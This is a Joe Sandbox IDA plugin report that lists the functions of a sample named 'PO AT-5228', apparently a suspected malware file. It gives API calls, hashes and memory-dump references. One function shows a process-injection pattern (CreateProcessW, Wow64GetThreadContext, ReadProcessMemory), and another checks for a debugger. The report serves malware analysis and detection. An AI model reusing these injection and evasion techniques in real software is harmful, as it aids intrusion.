Similarity

API ID: __fread_nolock
String ID: EA06
API String ID: 2638373210-3962188686
Opcode ID: f0fdcebc083a9516d3a7a0fea758fcdbeef81521625b4d48931c4a21ef871959
Instruction ID: 5edbab5c3ee832bad6a74c4457b2191e9457f08c61908c6eecd505199fc1dada
Opcode Fuzzy Hash: f0fdcebc083a9516d3a7a0fea758fcdbeef81521625b4d48931c4a21ef871959
Instruction Fuzzy Hash: DE01F5729042187EDB28D7A8C856FEEBBF8DB05705F00459AF1A2D6181E5B4E708CB60

Function 00BC0828 Relevance: 3.2, APIs: 2, Instructions: 232COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00BC08FD

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

_wcscpy.LIBCMT ref: 00BC098C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: d1ab93a4ec821816ffa4be548282a279f94cf653a4685e592d9a8e9d0882b29d
Instruction ID: 318f78f41d4b31c358e0e1f85e23961fcbddc78d3bf81bb64a91ba5a9f60a71e
Opcode Fuzzy Hash: d1ab93a4ec821816ffa4be548282a279f94cf653a4685e592d9a8e9d0882b29d
Instruction Fuzzy Hash: 56912934A10605DFCB18EF18C491A69B7E5EF59310B5584ADF85A8F3A2DB34ED45CF80

Function 00BAFE7E Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00BAFEDD
GetLastError.KERNEL32(00000002,00000000), ref: 00BAFF96

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorLast__wsplitpath
String ID:
API String ID: 2679896820-0
Opcode ID: 00da8acf12fb81ccd191d533c0a7d0500726cf30342fbe47804ac0c2694bf6f1
Instruction ID: d21c0ec86401e1cb2ddbbe57acda1602ae8f71901274c8e24551666034267064
Opcode Fuzzy Hash: 00da8acf12fb81ccd191d533c0a7d0500726cf30342fbe47804ac0c2694bf6f1
Instruction Fuzzy Hash: 9F5171312043029FCB14EF68C491BBEB3E5EF4A310F0485ADF96A8B392DB75A945CB51

Function 00B88E63 Relevance: 3.1, APIs: 2, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

__getbuf.LIBCMT ref: 00B88EFA
__lseeki64.LIBCMT ref: 00B88F6A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getbuf__getptd_noexit__lseeki64
String ID:
API String ID: 3311320906-0
Opcode ID: 54df22dd26957c9bb5e2bcc933ac72e1bfdbdc24681d1ee8e115236f6d1801ac
Instruction ID: f324a23c8335d9676cc450753d45b34e00520580871efdc2cc8eb265cc55409f
Opcode Fuzzy Hash: 54df22dd26957c9bb5e2bcc933ac72e1bfdbdc24681d1ee8e115236f6d1801ac
Instruction Fuzzy Hash: 68411171100A019FD324BF28C891A7A77E6EF85331B548AADE6AA872F1DB74DC40CB50

Function 00B63A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00B63A73

Part of subcall function 00B81405: __lock.LIBCMT ref: 00B8140B

Part of subcall function 00B63ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00B63AF3
Part of subcall function 00B63ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00B63B08

Part of subcall function 00B63D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00B63AA3,?), ref: 00B63D45
Part of subcall function 00B63D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00B63AA3,?), ref: 00B63D57
Part of subcall function 00B63D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00C21148,00C21130,?,?,?,?,00B63AA3,?), ref: 00B63DC8
Part of subcall function 00B63D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00B63AA3,?), ref: 00B63E48

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00B63AB3

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
String ID:
API String ID: 924797094-0
Opcode ID: ebfa560ec7c6c76de61798f81e786b88398fdd545142dece86b2d8040be41e32
Instruction ID: 5f0c1cd768534391316d394131984c014a9d9287a84294377c2cd832c3df3afa
Opcode Fuzzy Hash: ebfa560ec7c6c76de61798f81e786b88398fdd545142dece86b2d8040be41e32
Instruction Fuzzy Hash: A31190715143419BC310EF69EC45A0EFBE8EBA4710F04895EF885872B1DB709A56CB92

Function 00B647FF Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00B64582,?,?,?,?,00B62E1A), ref: 00B6482D
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00B64582,?,?,?,?,00B62E1A), ref: 00BD4089

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 029c670c2ddec1cd1e5bf6d01203c62aaee7b30b3def34192d7f01b725e02e0e
Instruction ID: dd05e9498e7ea0d72d50b2d0fb803b9b61f944cf4cce929346c888987e6a73e1
Opcode Fuzzy Hash: 029c670c2ddec1cd1e5bf6d01203c62aaee7b30b3def34192d7f01b725e02e0e
Instruction Fuzzy Hash: 8E018C70244348BFF3250E68CC8AF667ADCEB01768F108399BAE56B1E0C7B91C45CB50

Function 00B8E9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 00B8EA29
__close_nolock.LIBCMT ref: 00B8EA42

Part of subcall function 00B87BDA: __getptd_noexit.LIBCMT ref: 00B87BDA

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: 563abcf9d35c8b583e392384aefcc6383b655c91b388a047a4f6c6414aa8af22
Instruction ID: adee96e13010f3d01a01fa2a87a3caa403f05b7e4deb056a3ac8b02158a2a6fc
Opcode Fuzzy Hash: 563abcf9d35c8b583e392384aefcc6383b655c91b388a047a4f6c6414aa8af22
Instruction Fuzzy Hash: 71117C728456109AD72ABFA8D8827587BE1AF82735F2643C0E4715F1F2CBB4C841DBA1

Function 00B7F4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00B8395C: __FF_MSGBANNER.LIBCMT ref: 00B83973
Part of subcall function 00B8395C: __NMSG_WRITE.LIBCMT ref: 00B8397A
Part of subcall function 00B8395C: RtlAllocateHeap.NTDLL(01920000,00000000,00000001,00000001,00000000,?,?,00B7F507,?,0000000E), ref: 00B8399F

std::exception::exception.LIBCMT ref: 00B7F51E
__CxxThrowException@8.LIBCMT ref: 00B7F533

Part of subcall function 00B86805: RaiseException.KERNEL32(?,?,0000000E,00C16A30,?,?,?,00B7F538,0000000E,00C16A30,?,00000001), ref: 00B86856

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: a2316af6175dfd57f43c415353251ef7b5deaa66efb89929d488a691e9fbb9a0
Instruction ID: 862ffa3226dc664b7082b15761f19a9acc44a29ef9706f776fd6a4b5b39118c9
Opcode Fuzzy Hash: a2316af6175dfd57f43c415353251ef7b5deaa66efb89929d488a691e9fbb9a0
Instruction Fuzzy Hash: 23F0AF3210421EA7DB04BFA9DC019EE77ECAF00354F6484B6FA1992191DBF0DB40D7AA

Function 00B83839 Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B83868
__lock_file.LIBCMT ref: 00B83889

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 18282ce24abdf3774ef4824978e7fc5fecea91c684d4633c2a005f5b936a1529
Instruction ID: 0271a35b1a0a5f6209f8f218b61d72c5b7c7621e69556ed82203cca5f9804164
Opcode Fuzzy Hash: 18282ce24abdf3774ef4824978e7fc5fecea91c684d4633c2a005f5b936a1529
Instruction Fuzzy Hash: 91014471801209EBCF22BFA5CC0259E7BE1FF40B61F1541A9F824571B1D7718B61EB91

Function 00B835E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

__lock_file.LIBCMT ref: 00B83629

Part of subcall function 00B84E1C: __lock.LIBCMT ref: 00B84E3F

__fclose_nolock.LIBCMT ref: 00B83634

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: dd6ed2be3a065e0507c6c05020a4ccdd382219fbbdf6514e2c9936a82cca0ece
Instruction ID: 2d80b2fdaf969992c17b0d58512435933d41134d19c3f7444d3030bbee99ec44
Opcode Fuzzy Hash: dd6ed2be3a065e0507c6c05020a4ccdd382219fbbdf6514e2c9936a82cca0ece
Instruction Fuzzy Hash: 6DF0B431805205AADB117F69C84276E7BE0AF41F35F2581D8E420AB2F1DB7C8A01DF55

Function 00B6C1DE Relevance: 2.6, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00000000,?,?,00B7E581,00000010,?,00000010,?,00000000), ref: 00B6C1F4
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00000000,?,?,00B7E581,00000010,?,00000010,?,00000000), ref: 00B6C224

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 61cf416a058d0c859b3d1be1c75260a9fd818e6588f0b323a03c7b67714c2a71
Instruction ID: 885ba880efed600f3b2cb486dd72bef3b8c2fe08c1b2afccec6b046117379fc2
Opcode Fuzzy Hash: 61cf416a058d0c859b3d1be1c75260a9fd818e6588f0b323a03c7b67714c2a71
Instruction Fuzzy Hash: 7301D672200204BFEB146B65DC86F7B7FADEF86760F108169FE09DE1D0DA71E9408661

Function 0195E95D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(?,00000000), ref: 0195F11B
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0195F1B1
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0195F1D3

Memory Dump Source

Source File: 00000000.00000002.1694924142.000000000195D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0195D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_195d000_PO AT-5228.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
Instruction ID: 88026c20e937230076aca9685d21d6b07609eef795dfb4c78a02ec37a2184419
Opcode Fuzzy Hash: c7490eb0849e98549b11c4fe0459da6d53c4872c769bbd933b9fbf1e0076ab14
Instruction Fuzzy Hash: 2C12CD24E24658C6EB24DF64D8507DEB232FF68300F1094E9910DEB7A5E77A4F81CB5A

Function 00B82957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 00B82A0B

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __flush__getptd_noexit
String ID:
API String ID: 4101623367-0
Opcode ID: 604a52b038f9d89d146637e8f6a8a9ae492491e42f3dfb09f15d024a6db6c6d3
Instruction ID: aa7da5e9a2e4172fa9c762a24a48d2e58b040a45eb4d6cf3551d6d4ad64934c4
Opcode Fuzzy Hash: 604a52b038f9d89d146637e8f6a8a9ae492491e42f3dfb09f15d024a6db6c6d3
Instruction Fuzzy Hash: 2D416271600706AFDB2CAFA9C8815AE7BE6EF44360F2485BDE855C7264EA70DD41CB44

Function 00B646CE Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00B64774

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0402938fe0f145dade3d7ba62787480531fcd993f50920fc52ccfcdbe67d8e48
Instruction ID: a9128441bf8b7f5da11b3499c2dabd32c2cccc7f0b24d8dd0a9107f5154ca3f9
Opcode Fuzzy Hash: 0402938fe0f145dade3d7ba62787480531fcd993f50920fc52ccfcdbe67d8e48
Instruction Fuzzy Hash: 0D315C71A00A45AFCB08CF6CD480AADB7F6FF49310F158669E82997700D774BDA0CB90

Function 00B7ED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00B7EDC7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: a22d3ebcc466e5c846a63742b4dbe3114742af2e65b13d021cdcd2e5a99a4fd5
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 7C31A074A001059BD728DF58C490AA9FBE6FF49340B64C6E5E42ECB266DB31EDC1CB90

Function 00BC040F Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BC0519

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 869dc98d17d76e7ca01d553c9e961166343ead96d238c7e9cc6d779ebe115d98
Instruction ID: f959042a21017bbb476d85f1e730ffd21f0f8f19e28837693f4b3225cb6f1977
Opcode Fuzzy Hash: 869dc98d17d76e7ca01d553c9e961166343ead96d238c7e9cc6d779ebe115d98
Instruction Fuzzy Hash: EA316A75204528DFCB05AF14D0D0B6E7BF0EF59320F20849AEA991B386DB74AA05DF82

Function 00BD9A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00BD9A80

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: d97b98430391aec62cff91e471ba4e95f777f1038fa601f514bb368d4abec0ce
Instruction ID: 593e2246f28b5bd9ca006922565fc11404511a7ede39287eda53e687ef54b01c
Opcode Fuzzy Hash: d97b98430391aec62cff91e471ba4e95f777f1038fa601f514bb368d4abec0ce
Instruction Fuzzy Hash: 7E414870508641CFDB24DF28C484B2ABBE1FF45304F1989ADE9AA5B362D372E845CF52

Function 00B8ED06 Relevance: 1.6, APIs: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 967b755d188130dbe7579c71fe53de167ce7579d2f01a1907ca3039f4fc2cb87
Instruction ID: f449c0b1b3dfc90f4e6979acbd187614679b8e28afc57ad1c87a0ea3a8795824
Opcode Fuzzy Hash: 967b755d188130dbe7579c71fe53de167ce7579d2f01a1907ca3039f4fc2cb87
Instruction Fuzzy Hash: C4216A728446009FD7227FA8C8467583BE1AF4233AF2606E0E4304B1F2DBB4D844DBA1

Function 00B641A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B64214: FreeLibrary.KERNEL32(00000000,?), ref: 00B64247

LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00B639FE,?,00000001), ref: 00B641DB

Part of subcall function 00B64291: FreeLibrary.KERNEL32(00000000), ref: 00B642C4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Library$Free$Load
String ID:
API String ID: 2391024519-0
Opcode ID: f287fed5cc779ee25c13e9e86b0bfe16e1acb3c735e48359d37e5cd71c68e372
Instruction ID: 617fbfe393d2e689acfd95a7606eff9d753bb90355f95fc3dd2eb85a17521fff
Opcode Fuzzy Hash: f287fed5cc779ee25c13e9e86b0bfe16e1acb3c735e48359d37e5cd71c68e372
Instruction Fuzzy Hash: AE110A31610705ABCB14BF70DC56F9E77E99F40B00F208469F596A71D1DF78DA009B60

Function 00BD9B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00BD9B51

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
